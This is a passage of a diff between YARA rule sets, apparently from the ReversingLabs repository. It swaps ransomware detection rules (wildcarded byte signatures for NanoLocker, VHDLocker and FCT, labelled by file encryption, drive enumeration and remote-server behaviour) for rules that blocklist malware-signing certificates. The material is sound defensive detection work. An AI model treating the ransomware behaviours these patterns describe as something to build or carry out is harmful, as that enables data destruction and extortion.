?? 64 A3 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 75 ?? - 8B 0C 88 A1 ?? ?? ?? ?? 3B 81 ?? ?? ?? ?? 7F ?? 56 FF 75 ?? FF 35 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? ?? - ?? ?? 8B E5 5D C2 ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? - 75 ?? B9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? - 8D 4D ?? E8 ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 8D 45 ?? 50 E8 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $write_proc_mem ) and ( $generate_key ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Jiang Liu" and pe.signatures [ i ] . serial == "7d:20:de:c3:79:7a:1a:c3:06:49:eb:b1:84:26:5b:79" and 1474156800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Nanolocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_187D92861076E469B5B7A19E2A9Fd4Ba : INFO FILE { meta: - description = "Yara rule that detects NanoLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a31dad2e-2738-527b-a6e9-322757e2ec30" - date = "2020-06-26" - modified = "2020-07-15" + id = "0a156a49-c737-5bdb-9178-34121af490d6" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.NanoLocker.yara#L1-L79" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14422-L14438" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7fdb021f22d97bf8a00fd856ef913695a0d6fbaad1138b5a5cc2cc8768b130be" + logic_hash = "7383a7fb31a0a913dff1740015ff702642fbb41d8e5a528a8684c80e66026e9d" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "NanoLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_file_1 = { - 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? E8 - ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? - ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 05 ?? ?? ?? ?? ?? 68 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 - 05 ?? ?? ?? ?? ?? 8D 3D ?? ?? ?? ?? 33 C9 C6 07 ?? 47 41 81 F9 ?? ?? ?? ?? 75 ?? C7 - 05 ?? ?? ?? ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 0F 84 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 6A - ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 6A - ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? - ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 0F 84 ?? ?? ?? ?? 81 3D - ?? ?? ?? ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? 56 E8 - ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 56 68 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 F0 46 8A 06 3C ?? 0F 85 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 - } - $encrypt_file_2 = { - A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 - ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 81 3D ?? ?? ?? ?? - ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 6A ?? - E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? - ?? ?? ?? 2D ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? A3 ?? - ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? - ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? - ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 35 ?? - ?? ?? ?? E8 - } - $remote_server_1 = { - E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? - ?? ?? 83 F8 ?? 72 ?? C6 05 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF - 35 ?? ?? ?? ?? E8 - } - $remote_server_2 = { - E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? A3 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? 68 ?? - ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 - } - $enum_shares_and_encrypt_files = { - E8 ?? ?? ?? ?? C1 C8 ?? BA ?? ?? ?? ?? 23 D0 60 83 FA ?? 75 ?? 68 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 F8 ?? 76 ?? 83 F8 ?? 74 ?? 8D 35 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 56 68 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 61 8A 06 46 0A C0 75 ?? 8A 06 0A C0 75 ?? 61 D1 C8 8A 1D ?? - ?? ?? ?? FE C3 88 1D ?? ?? ?? ?? 80 FB ?? 76 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? - ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 35 ?? ?? - ?? ?? E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? - FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 - } - condition: - uint16( 0 ) == 0x5A4D and $encrypt_file_1 and $encrypt_file_2 and $remote_server_1 and $remote_server_2 and $enum_shares_and_encrypt_files + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "18:7d:92:86:10:76:e4:69:b5:b7:a1:9e:2a:9f:d4:ba" and 1476748800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Vhdlocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_199A9476Feca3C004Ff889D34545De07 : INFO FILE { meta: - description = "Yara rule that detects VHDLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "696f8145-342b-5da5-b9ec-6f0d16afc465" - date = "2020-06-26" - modified = "2020-07-15" + id = "4bb98380-70e5-5ad9-adb2-2e6e10f35258" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.VHDLocker.yara#L1-L152" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14440-L14456" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "39d1fbfc79d5ea866498bb1e40d2290469df774ce65b1da04a85c0e4e5b4493c" + logic_hash = "39c6efefcbd78d5e08ffd8d3989cab3bdf273a1847b2a961f9e68c9ee95e85b6" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "VHDLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 - ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 6A ?? 68 - ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 89 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 4D ?? 50 51 E8 ?? ?? - ?? ?? 83 C4 ?? 0B C2 74 ?? 53 FF 15 ?? ?? ?? ?? B0 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 33 DB 8D 95 ?? ?? ?? ?? 53 52 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 53 50 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 9D ?? ?? - ?? ?? 89 9D ?? ?? ?? ?? 33 F6 8B FF 6A ?? 53 E8 ?? ?? ?? ?? 88 44 35 ?? 46 83 FE ?? - 7C ?? 8D 4D ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D - B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8B CE 89 5D ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 8B F4 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 72 ?? 8B 8D - } - $encrypt_files_p2 = { - 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ?? 53 53 33 C9 51 33 C0 50 57 FF 15 ?? ?? - ?? ?? 85 C0 75 ?? 57 FF 15 ?? ?? ?? ?? 32 C0 E9 ?? ?? ?? ?? 53 8D 95 ?? ?? ?? ?? 52 - 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? - ?? ?? ?? 89 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 35 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? 3B C3 0F 84 ?? ?? ?? ?? 6A ?? F7 D8 99 53 52 50 57 FF 15 ?? - ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 8D ?? ?? ?? ?? 8D 95 ?? ?? - ?? ?? 52 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 51 50 8D 95 ?? ?? ?? - ?? 52 57 FF D6 85 C0 0F 84 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 81 BD ?? - ?? ?? ?? ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 77 ?? 81 BD ?? ?? ?? ?? ?? - ?? ?? ?? 0F 82 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 11 9D ?? ?? ?? ?? - 83 FA ?? 0F 84 ?? ?? ?? ?? 53 53 33 C9 51 33 C0 50 52 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? - ?? 50 FF 15 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B C3 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 - } - $encrypt_files_p3 = { - 75 ?? 2B C2 6A ?? D1 F8 8D 8D ?? ?? ?? ?? 51 8D 14 00 A1 ?? ?? ?? ?? 52 53 50 FF D6 - 8B 15 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? 52 FF D6 8B 15 ?? - ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 4D ?? 51 52 FF D6 8B 0D ?? ?? ?? ?? 6A - ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 51 FF D6 8B 0D ?? ?? ?? ?? 6A ?? 8D 95 - ?? ?? ?? ?? 52 6A ?? 8D 85 ?? ?? ?? ?? 50 51 FF D6 EB ?? 8B 9D ?? ?? ?? ?? 6A ?? 33 - C9 51 51 B8 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 DB EB ?? 83 85 ?? ?? - ?? ?? ?? 11 9D ?? ?? ?? ?? 53 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 50 57 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B 4D ?? 8B 55 - ?? 8B B5 ?? ?? ?? ?? 51 52 8D BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 8D 85 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B D6 52 FF 15 ?? ?? ?? ?? 33 C9 - 51 51 33 C0 51 50 A1 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 51 FF 15 ?? - ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 94 C0 8B 4D ?? 64 - 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $find_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 68 ?? ?? ?? ?? 33 F6 - 8D 8D ?? ?? ?? ?? 33 C0 56 51 66 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 8D 95 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? - 52 FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? EB ?? 8D 9B - ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? ?? ?? A8 ?? 0F 84 ?? ?? ?? ?? 57 8D - 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? - ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? E9 - ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? - 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 - } - $find_files_p2 = { - D8 ?? 3B C6 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 - ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 - C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 BB ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 90 - 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 - ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 8B FF 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 - ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? - ?? ?? ?? 57 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? - ?? ?? 52 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 8B D1 83 C4 ?? 0B D0 89 B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 74 ?? 50 51 8D - 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 C4 ?? 3A C1 75 ?? 01 0D ?? ?? ?? - ?? 11 35 ?? ?? ?? ?? EB ?? 01 0D ?? ?? ?? ?? 11 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 - 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 5E 33 CD - B0 ?? 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $get_logical_drives_list_p1 = { - 8D 85 ?? ?? ?? ?? 50 57 89 BD ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D - 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ?? 6A ?? 57 - 57 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? - ?? ?? 83 EC ?? 8B F4 89 7E ?? C7 46 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 - A5 ?? ?? ?? ?? C6 06 ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 - FF 89 7D ?? 83 78 ?? ?? 72 ?? 8B 00 8D 50 ?? 8D A4 24 ?? ?? ?? ?? 8A 08 40 84 C9 75 - ?? 57 8D 8D ?? ?? ?? ?? 2B C2 51 50 83 EC ?? 8B F4 89 7E ?? C7 46 ?? ?? ?? ?? ?? BF - ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 A5 ?? ?? ?? ?? C6 06 ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? - ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72 ?? 8B 00 50 53 FF 15 ?? ?? ?? - ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? - ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 53 FF 15 - ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D 64 24 ?? 66 8B 10 66 3B 11 75 ?? 66 85 - D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB - } - $get_logical_drives_list_p2 = { - 1B C0 83 D8 ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 85 ?? ?? - ?? ?? 89 B5 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CE D3 E2 85 95 ?? ?? ?? ?? 0F 84 ?? ?? ?? - ?? 8D 4E ?? 66 89 8D ?? ?? ?? ?? 33 C9 6A ?? 51 8D 95 ?? ?? ?? ?? 52 C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF - 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 - ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? - 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? - ?? 83 EC ?? B8 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 C4 ?? BF ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 39 78 ?? 72 ?? 8B 00 8D - 50 ?? 8A 08 40 84 C9 75 ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 2B C2 50 83 EC ?? B8 ?? ?? ?? - ?? 8B CC 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 39 78 ?? 72 ?? 8B 00 50 53 FF 15 ?? ?? ?? ?? 39 BD ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? ?? - ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 39 BD ?? ?? ?? ?? 72 ?? 8B 85 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 53 89 B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? C6 85 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 46 89 B5 ?? ?? ?? ?? 83 - FE ?? 0F 8C ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? B0 ?? 8B - 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $get_logical_drives_list_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Funcall" and pe.signatures [ i ] . serial == "19:9a:94:76:fe:ca:3c:00:4f:f8:89:d3:45:45:de:07" and 1138060800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_FCT : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_1Efe65 : INFO FILE { meta: - description = "Yara rule that detects FCT ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ea3d5514-d6f2-5fd0-9247-a3f6b920d8d9" - date = "2020-06-26" - modified = "2020-07-15" + id = "e402e3b4-a598-504d-85b8-8c1994cb51fc" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.FCT.yara#L1-L86" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14458-L14474" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = 